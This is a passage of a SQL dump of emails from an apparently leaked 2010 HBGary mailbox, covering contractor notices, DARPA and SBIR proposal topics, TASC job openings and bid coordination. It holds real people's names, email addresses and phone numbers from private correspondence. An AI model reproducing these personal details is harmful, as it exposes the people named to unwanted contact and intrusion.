0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11800,'aaron_hbgary_com/11800.html'),(11080,'2010-08-31','arc@westfields.net','/aaron@hbgary.com/new/1297008486.M82381P14101Q5933.eml','federal@hbgary.com','NGA / ESMARTS CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NGA-ESMARTS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /ESMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2306,'aaron_hbgary_com/2306.html'),(11081,'2010-08-31','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297008487.M292077P14101Q5937.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: DARPA (CINDER) Proposers Day @ Tue Aug 31 8am - 5pm (aaron@hbgary.com)',' more details &raquo;DARPA (CINDER) Proposers DayWhenTue Aug 31 8am – 5pm Eastern TimeWhere3601 Wilson Blvd, Apt 500, Arlington, VA 22201; System Planning Corporation (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',1454,'aaron_hbgary_com/1454.html'),(11082,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008487.M35165P14101Q5936.eml','\"Tropical Warners\" <fotoman@tropicalwarners.com>','Re: TASC Positions','Yep they are chantilly.  :). No worries.  John was pretty busy to.Sent from my iPadOn Aug 31, 2010, at 7:41 AM, Tropical Warners &lt;fotoman@tropicalwarners.com&gt; wrote:\r\nIf any are located in Chantilly or closer then I&#39;m interested in hearing more about them.Sorry I didn&#39;t have time to stop and chat yesterday.\r\nRaleighSent from my iPhone 4On Aug 30, 2010, at 10:39 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Raleigh,I just wanted to make you aware of some positions that have opened up on the TASC website.118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4118573 Web S/W Developer 3\r\n118584 Systems Admin 4118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\nIf you want to talk about these opportunities and the group that put these out let me know.\r\nHave a good one.Aaron\r\n\r\n',5619,'aaron_hbgary_com/5619.html'),(11083,'2010-08-31','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008487.M627399P14101Q5938.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ROMAS Reqs','\r\n\r\n\r\n\r\n\r\nRE: ROMAS Reqs\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nDid you go to www.tasc.com, click on careers and search for the req number?&nbsp; I tried it and it worked.&nbsp;\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Mon 8/30/2010 10:43 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\nReqs don\'t work.\r\n\r\nOn Aug 30, 2010, at 9:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; The reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n&gt;\r\n&gt; 118583 Web S/W Developer 5\r\n&gt; 118580 Web S/W Developer 4\r\n&gt; 118573 Web S/W Developer 3\r\n&gt; 118584 Systems Admin 4\r\n&gt; 118586 Graphics Artist 5\r\n&gt; 118587 Graphics Artist 4\r\n&gt;\r\n&gt; Please pass these onto any folks you think are good matches for ROMAS.\r\n&gt;\r\n&gt; Thanks,\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12557,'aaron_hbgary_com/12557.html'),(11084,'2010-08-31','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008487.M929542P14101Q5939.eml','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ROMAS Reqs','\r\n\r\n\r\n\r\n\r\nRE: ROMAS Reqs\r\n\r\n\r\n\r\n\r\nHey - I need the calm before the storm.&nbsp; I want to be extra fresh to write!\r\n\r\nSee you Monday (or sooner if the RFP drops).\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Garcia, Kathy (TASC)\r\nSent: Mon 8/30/2010 10:43 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: RE: ROMAS Reqs\r\n\r\nThanks Aaron!\r\n\r\nChris is on vacation this week, pretty clever huh?&nbsp; Just KIDDING Chris!\r\n\r\nLooking forward to seeing this thing drop!\r\n\r\n~Kathy\r\n\r\n________________________________\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Mon 8/30/2010 10:41 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\nChris,\r\n\r\nI spoke with John today.&nbsp; RFP is still ready to come out very soon.&nbsp; I mentioned there is only one day left in August and he just smiled at me. :)\r\n\r\nI will send out the reqs.\r\n\r\nAaron\r\n\r\nOn Aug 30, 2010, at 9:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 118583 Web S/W Developer 5\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 118580 Web S/W Developer 4\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 118573 Web S/W Developer 3\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 118584 Systems Admin 4\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 118586 Graphics Artist 5\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 118587 Graphics Artist 4\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12689,'aaron_hbgary_com/12689.html'),(11085,'2010-08-31','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008488.M268719P14101Q5940.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>,\"Andrew Fehretdinov\" <afehretdinov@digitalmanagement.com>','ITSSS Updates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nA few updates/reminders:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLAST CALL: Still waiting for feedback\r\nfrom everyone from my email Friday on Tools/Resources, and also a double-check\r\non the Experiences.\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nURGENT: BAFO pricing is due to Andrew\r\nFehretdinov COB today.\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKirby Kintner has moved on to other things, so use me\r\nas your contact for all topics except pricing (but copy me on pricing).\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVolume 1 moved last night into pre-production\r\nhere.&nbsp; Volume 4 is due to move to pre-production tonight.&nbsp; Volumes\r\n2,3, and 5 will move on Thursday night.\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n2nd review is tomorrow, Wed, 12-3pm here at\r\nDMI Bethesda.\r\n\r\n&nbsp;\r\n\r\nBest\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2538,'aaron_hbgary_com/2538.html'),(11086,'2010-08-31','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008488.M603178P14101Q5941.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Brian has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Brian are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Brian Hussey \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Senior Digital Forensic Analyst at Harris Corporation\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Brian\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          bhussey22@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Brian\'s Connections (83) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mike Fox\r\n                ,\r\n                  Corporate Business Developemnt\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mark Wade\r\n                ,\r\n                  Digital Forensics Investigator at Crucial Security\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Luci Sheehan\r\n                ,\r\n                  Sales &amp; Marketing Leader\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Ken Scott\r\n                ,\r\n                  Sr. Account Manager at Savvis\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Brian\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Harris Corporation\r\n                    \r\n                      Brian works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     ManTech SMA\r\n                    \r\n                      Brian worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     BAE Systems IT\r\n                    \r\n                      Brian worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     USIS\r\n                    \r\n                      Brian worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',7784,'aaron_hbgary_com/7784.html'),(11087,'2010-08-31','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008489.M15542P14101Q5942.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','2nd ITSSS Review','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 01, 2010 12:00 PM-3:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Bethesda, 6701 Democracy Blvd, Bethesda 20817\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',2994,'aaron_hbgary_com/2994.html'),(11088,'2010-08-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008489.M289499P14101Q5943.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Gaming SBIR - proposals due Sept 15',' \r\nBob,\r\n \r\nI can&#39;t get to any of the links.  Can you send over copies of these SBIR&#39;s ??\r\n \r\n-Greg\r\nOn Mon, Aug 30, 2010 at 4:22 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg and Aaron,\r\n \r\nLook, here are three SBIR topics having to do with gaming.  Might be some gold here.  These are only $100k for Phase I, but you can get $750k for phase II.  The time has passed for talking to the PM, but we can post written questions online which isn’t as good and competitors see the Q&amp;A.  It usually takes about 3-4 months for the award and funding to begin.\r\n\r\n \r\nAir Force\r\nTitle:  Shareable Game-Based Objects Gateway for DIS and HLA Integration\r\nObjective;  Develop a gateway that permits game-based objects to be integrated with Distributed Interactive Simulation (DIS) and High-Level Architecture (HLA) environments.\r\n\r\nhttp://www.dodsbir.net/Topics/BasicTopicsResultsForm.asp?Bookmark=39557&amp;rec=1&amp;DataAction=Find \r\n\r\n \r\nTitle:  Medical Gaming\r\nObjective:  To develop a web-based serious medical game that covers point of injury, medical transport to field hospital or Theater Hospital, critical care air transport to level 1 trauma hospital in theater or CONUS.\r\n\r\nhttp://www.dodsbir.net/Topics/BasicTopicsResultsForm.asp?Bookmark=39047&amp;rec=8&amp;DataAction=Find\r\n\r\n \r\nTitle:  High Speed Representation of Complex Scenes\r\nHas ITAR label. This sucks, but you can use their money to learn then throw the ITAR code away and start over.\r\nObjective:  Develop innovative approaches to representing highly detailed battlespace environments (Terrestrial/Urban/Suburban, Ocean (Deep water and Littoral)) in a manner that allows such data to be ingested by MDA scene generation tools for use in real-time and near real-time simulations.\r\n\r\nhttp://www.dodsbir.net/Topics/BasicTopicsResultsForm.asp?Bookmark=39086&amp;rec=3&amp;DataAction=Find \r\n\r\n \r\nBob \r\n \r\n \r\n 